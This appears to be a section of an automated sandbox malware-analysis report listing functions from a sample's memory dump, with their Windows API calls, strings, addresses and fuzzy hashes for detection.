Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4811875917d21df6671d98e29e382020326e55504065ba1261b18ada398fe05d
Instruction ID: ae94bad0991a8ec57da7f9400e09a9057e1751ba918b1a688e180390a6c7fdab
Opcode Fuzzy Hash: 4811875917d21df6671d98e29e382020326e55504065ba1261b18ada398fe05d
Instruction Fuzzy Hash: A7113D61B1C647C2FE64FB91A44057AA3E1FF48B85F445031EA4AC3696DF3EE8418740

Function 00007FF646E6D270 Relevance: 7.8, APIs: 5, Instructions: 286COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6D2BC
FindFirstFileExW.KERNEL32 ref: 00007FF646E6D3D8

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ae0f3535cebf2f16635926052113797324354ba022250e17cfec29656ff25a4a
Instruction ID: 104e62b877c360c45c0d011ece68b8a02df8588a4e5f2a32435b6e270a47acfe
Opcode Fuzzy Hash: ae0f3535cebf2f16635926052113797324354ba022250e17cfec29656ff25a4a
Instruction Fuzzy Hash: 4FB1A622B2C69241EB60BB25D5041BDE7D1FB44BE4FC46132EB5E87B95DE7EE8418300

Function 00007FF646E5B6F4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF646E5B720
GetCurrentThreadId.KERNEL32 ref: 00007FF646E5B72E
GetCurrentProcessId.KERNEL32 ref: 00007FF646E5B73A
QueryPerformanceCounter.KERNEL32 ref: 00007FF646E5B74A

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 71c2f9d32c63666908bbdffe88acda2111ff4c1698b24ba151b2a5beb859b09e
Instruction ID: a69dc76f8e4d06eed6861bccb739ac8332b69cdc9dedf4759f1ea006dd560376
Opcode Fuzzy Hash: 71c2f9d32c63666908bbdffe88acda2111ff4c1698b24ba151b2a5beb859b09e
Instruction Fuzzy Hash: 02112E22B1DF0189EB00FF60E8542B973A4F719759F440E31DA6D86BA5EF79D1998340

Function 00007FF646E51BD0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 538COMMON

Download Yara Rule

Strings

nan, xrefs: 00007FF646E51CFE

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID: nan
API String ID: 0-1810114945
Opcode ID: 23788e95d86ea119b9de5308d0ec5394b53d5f87037165902c4512e55167f868
Instruction ID: 709b3be95141243125473de8de2be4d45b19a6d0038e0f28938172f87ee050bb
Opcode Fuzzy Hash: 23788e95d86ea119b9de5308d0ec5394b53d5f87037165902c4512e55167f868
Instruction Fuzzy Hash: C022E162A0DB818AEB51AF75D4402FDBBE1FB54798F444132EA4E83B99DF3AD481C700

Function 00007FF646E59694 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF646E41995), ref: 00007FF646E596BA
FormatMessageA.KERNEL32 ref: 00007FF646E596ED

Strings

!x-sys-default-locale, xrefs: 00007FF646E596AD

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: a473842ff3aab8e4b2404f736d9d38f5af5347cca6232932a22319a5cb45e8eb
Instruction ID: c2bfdbc3d38925f5e881eb55f9b64bfba842bbd208a3ca7e59794af5174b2732
Opcode Fuzzy Hash: a473842ff3aab8e4b2404f736d9d38f5af5347cca6232932a22319a5cb45e8eb
Instruction Fuzzy Hash: 1B01C072B1C78282E711BF52B444BAAA7E1FB88789F084035DA8987A95CF3DD5048B00

Function 00007FF646E70A7C Relevance: 4.7, APIs: 3, Instructions: 165COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF646E70AE8

Part of subcall function 00007FF646E6CF14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6CF31

GetLocaleInfoW.KERNEL32 ref: 00007FF646E70B31

Part of subcall function 00007FF646E6CF14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6CF8A

GetLocaleInfoW.KERNEL32 ref: 00007FF646E70BF5

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: InfoLocale$_invalid_parameter_noinfo
String ID:
API String ID: 4006003004-0
Opcode ID: a45e5575401bfcae3ef80d50b6b8a2df39ddd6a2e94fbbee62b67b96b31e5c09
Instruction ID: fd51bb083624d484be556938336c58820c494349bb3bb08f614811fd398004ec
Opcode Fuzzy Hash: a45e5575401bfcae3ef80d50b6b8a2df39ddd6a2e94fbbee62b67b96b31e5c09
Instruction Fuzzy Hash: 006189B2A0C6428AEB64BE51E5402B9A3E1FB84746F408135CB8EC76D6DF3EE5518740

Function 00007FF646E69004 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF646E64F6A), ref: 00007FF646E6907D

Strings

GetLocaleInfoEx, xrefs: 00007FF646E69035, 00007FF646E69043

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 10d9291d30b7ea48bf6201759918a7ba9c5281fd93833f1699422f25f6b848ac
Instruction ID: 803ec3df126e3144bc6551e71484349b56928784818a68fe79de116fa0304674
Opcode Fuzzy Hash: 10d9291d30b7ea48bf6201759918a7ba9c5281fd93833f1699422f25f6b848ac
Instruction Fuzzy Hash: 61016120B0C68381EB44BB1AA540065E3E0BF94BA4F544536DF2C837A6EE2DD4058340

Function 00007FF646E4E2A0 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

00000000, xrefs: 00007FF646E4E49B
00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF646E4E4A5

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID: 00000000$00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
API String ID: 0-756571863
Opcode ID: b0a8d107f1a68ab55612d5a8e34775c07fff1b3a8b821b67c6745b10e953144a
Instruction ID: 9886d27f126eddf817fff7bf0b2c094fc64df58b048d37f2912563c688222626
Opcode Fuzzy Hash: b0a8d107f1a68ab55612d5a8e34775c07fff1b3a8b821b67c6745b10e953144a
Instruction Fuzzy Hash: 5D611222B2C68183EB28AF65A554779A795F744780F909135DB0EC7780DE3EE946CB01

Function 00007FF646E42350 Relevance: 1.9, Strings: 1, Instructions: 652COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF646E42C03

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: a7b7fd96e3f312738d688a4819186b43009dbd0990103d888be1af10e2a805f4
Instruction ID: 8f290fa2ca1ccda188a90b5e548f70b22e25f9756512221ac0a05b5756df7c8d
Opcode Fuzzy Hash: a7b7fd96e3f312738d688a4819186b43009dbd0990103d888be1af10e2a805f4
Instruction Fuzzy Hash: 42322822F1C3928AEB24AF29E444779A6D5FB94784F014135DE4DC7B96DEBEE841CB00

Function 00007FF646E62534 Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF646E62689

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 538eb1fa26b91b46e7813802d89f1fa5b9255dc59f8298bba3d75131239a11cd
Instruction ID: f0429a681a568e0233f22e4f18b6a9b691ad7ca29c4f05ed7524fba83416c247
Opcode Fuzzy Hash: 538eb1fa26b91b46e7813802d89f1fa5b9255dc59f8298bba3d75131239a11cd
Instruction Fuzzy Hash: 6A02AE62A1CBC18AE711EF3894002FDB7A0FB58748F45A235DB9C87652EF3AE195C300

Function 00007FF646E6EABC Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586dfff7b8b4c66d320ccc843005f46dfd2058dd8299404d8188cd963653337c
Instruction ID: b134ea6f3cfa2a169ce0932d04af70bbde2e558e7fd143023a88678f16fbd8aa
Opcode Fuzzy Hash: 586dfff7b8b4c66d320ccc843005f46dfd2058dd8299404d8188cd963653337c
Instruction Fuzzy Hash: EAE15132A0CB8186E720EB65E4412EEB7A4F794788F405635DF8D93B96EF39E255C340

Function 00007FF646E4E990 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF646E4EFD2

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 13a95ab29740c7d23fc2ee87a9cb29095b905de4476c40a2ef2f0bdefd286327
Instruction ID: c1ad5e78b7133bd23f50fd54b5447b896b4dc8c4ec4bc064e5c8eea9cb6f1595
Opcode Fuzzy Hash: 13a95ab29740c7d23fc2ee87a9cb29095b905de4476c40a2ef2f0bdefd286327
Instruction Fuzzy Hash: 61F12A6162C29286E71DBE39D604B7CA6D5BF40780F514636EE0BC77D4EEAEEA40C301

Function 00007FF646E70CC0 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF646E70D28

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: beb55e11022723b2554d2a277a213dbe89ff21a797af844a07375ed8c01a3e7f
Instruction ID: 33ea808a482e82224e03ba8e42f8e50c6aed251f3e1e925d1c139ff22696450e
Opcode Fuzzy Hash: beb55e11022723b2554d2a277a213dbe89ff21a797af844a07375ed8c01a3e7f
Instruction Fuzzy Hash: D3318DB2A1D78286EB64FA66E4413AAA3E1FB84785F448035DB4DC3286DF3DF4408B00

Function 00007FF646E70914 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF646E71115,?,00000000,00000092,?,?,00000000,?,00007FF646E64D97), ref: 00007FF646E709B2

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: ed6348ef0a24055b990628f3a14edcfc386b249a782fd5b67276dd459c758fee
Instruction ID: c070298fd27e498161f7d622a0a4c56d8489bf6bb444e9149061f62ffc772462
Opcode Fuzzy Hash: ed6348ef0a24055b990628f3a14edcfc386b249a782fd5b67276dd459c758fee
Instruction Fuzzy Hash: 4111D2A3A1C6458AEB15BF66D0402ACB7E0FBE0BA1F449135C669833C2DE39D5D1C740

Function 00007FF646E70ECC Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00007FF646E70C72), ref: 00007FF646E70F0B

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8a76b777f494c6ade1e6017019fc2e3c77e2fa5f25233aeb2665c1fed5e531a3
Instruction ID: 3f1629b7d3fe7a950e178662cdd3a944f9a44e617cfd0dd7d19c8b5792b04e87
Opcode Fuzzy Hash: 8a76b777f494c6ade1e6017019fc2e3c77e2fa5f25233aeb2665c1fed5e531a3
Instruction Fuzzy Hash: 1F110672A1C65286E768BBA6900017DB2E0F740B65FA44135EB6D833C5DE7AE481C304

Function 00007FF646E709E4 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF646E710D0,?,00000000,00000092,?,?,00000000,?,00007FF646E64D97), ref: 00007FF646E70A62

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 28a95db4e53e5038b06235b7cd575cbc967e51cc460038376f7f095bf7ae1bb4
Instruction ID: 9f20b96f2da7a5d25691b584f1c34761bb82c9829660efb83a338680706ed19a
Opcode Fuzzy Hash: 28a95db4e53e5038b06235b7cd575cbc967e51cc460038376f7f095bf7ae1bb4
Instruction Fuzzy Hash: 1301D8B2F0C28286EB507F55E4407B9B6E1FB40BA6F459231D66C872C6DF7E9881C700

Function 00007FF646E68C90 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF646E68FC8,?,?,?,?,?,?,?,?,00000000,00007FF646E6FF44), ref: 00007FF646E68CC6

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 91be5a33b0e5357b2a95e3de4fa93a416777a48e50bc778751b0ba6fa20f1468
Instruction ID: 870a2c7ae7220b749647a102400dddd40bd043f59f0013df60ea22041f48ff3b
Opcode Fuzzy Hash: 91be5a33b0e5357b2a95e3de4fa93a416777a48e50bc778751b0ba6fa20f1468
Instruction Fuzzy Hash: 5DF05832B0CA0A82E700BB15F480779B3A2FB98B80F949130D64D87366CF3DD4A0C700

Function 00007FF646E594B0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00007FF646E594DB

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 3d582bd398a1c9643e454bb3f62672006055f3306ca8626ba99e509735ed638b
Instruction ID: a31ca683a46dcdb6db81acf8af5b5815c5b2a1212da6544c1e0054629e8be73c
Opcode Fuzzy Hash: 3d582bd398a1c9643e454bb3f62672006055f3306ca8626ba99e509735ed638b
Instruction Fuzzy Hash: 0AE04FEAF28B15C7E7207B60D80932966E0BB94B96F104224C70846351DF7C86578650

Function 00007FF646E6ADFC Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF646E6AEA1

Part of subcall function 00007FF646E677C0: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF646E672A7), ref: 00007FF646E67815

Part of subcall function 00007FF646E68670: HeapFree.KERNEL32(?,?,00007FF646E65F93,00007FF646E6F34A,?,?,?,00007FF646E6F6C7,?,?,00000000,00007FF646E6FC41,?,?,?,00007FF646E6FB73), ref: 00007FF646E68686
Part of subcall function 00007FF646E68670: GetLastError.KERNEL32(?,?,00007FF646E65F93,00007FF646E6F34A,?,?,?,00007FF646E6F6C7,?,?,00000000,00007FF646E6FC41,?,?,?,00007FF646E6FB73), ref: 00007FF646E68690

Part of subcall function 00007FF646E71694: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E716C7

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ErrorHeapLast$AllocateFree_invalid_parameter_noinfo
String ID:
API String ID: 3806578645-0
Opcode ID: 8b292681c10ba5506c02ee95be1f95a896873db35b0991908ac7a4bb87d7e974
Instruction ID: a687526142b9215ff0b3aec29407f0218ac908bbed9e7791fa839e17867e3051
Opcode Fuzzy Hash: 8b292681c10ba5506c02ee95be1f95a896873db35b0991908ac7a4bb87d7e974
